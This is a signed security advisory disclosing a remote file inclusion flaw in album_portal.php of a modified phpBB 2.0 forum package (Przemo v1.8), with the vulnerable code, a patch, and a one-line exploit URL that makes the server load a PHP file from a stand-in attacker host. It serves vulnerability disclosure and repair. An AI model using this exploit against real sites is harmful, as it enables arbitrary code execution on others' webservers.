phpBBmod.txt

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
- --====----====----====----====----====----====----====----====----====----===--  
Product: phpBB modified by Przemo  
Version: v1.8  
Vendor: http://przemo.org/phpBB2/  
Discover by: Officerrr <officerrr at poligon.com.pl>  
Vendor Response: Not contacted yet...  
Severity: Medium (arbitary code execution as webserver user)  
- --====----====----====----====----====----====----====----====----====----===--  
Description:  
  
This modification is based on phpBB 2.0.X script, it contains about   
200 add-ons, with ability to switch off any of them in admin`s panel.  
- --====----====----====----====----====----====----====----====----====----===--  
Vulnerable code:  
File: album_portal.php  
  
[code]  
$album_root_path = $phpbb_root_path . 'album_mod/';  
include($album_root_path . 'album_common.'.$phpEx);  
[/code]  
- --====----====----====----====----====----====----====----====----====----===--  
Fix:  
  
Change the following lines in album_portal.php file  
  
[code]  
$album_root_path = $phpbb_root_path . 'album_mod/';  
include($album_root_path . 'album_common.'.$phpEx);  
[/code]  
  
to  
  
[code]  
define('IN_PHPBB', true);  
$phpbb_root_path = './';  
$album_root_path = $phpbb_root_path . 'album_mod/';  
include($phpbb_root_path . 'extension.inc');  
include($album_root_path . 'album_common.'.$phpEx);  
[/code]  
- --====----====----====----====----====----====----====----====----====----===--  
Exploit:  
http://[victim_host]/album_portal.php?phpbb_root_path=http://[evil_host]/&phpEx=/../../[evil_file.php]  
  
evil_file.php must exist on the evil_host.  
  
- --   
Dariusz 'Officerrr' Kolasinski  
<Linux Administrator> <gg: 516354>  
"Living on a razors edge, Balancing on a ledge"  
  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.2.4 (GNU/Linux)  
  
iD8DBQFAg+gI+p+rYQE3C+ARAtrqAJ9h0b/sOa/aLke3xWJw5ShvN1FyVQCfYkxh  
12zpKxPTwGAX9oqUfxZ4xzI=  
=/aXV  
-----END PGP SIGNATURE-----  
`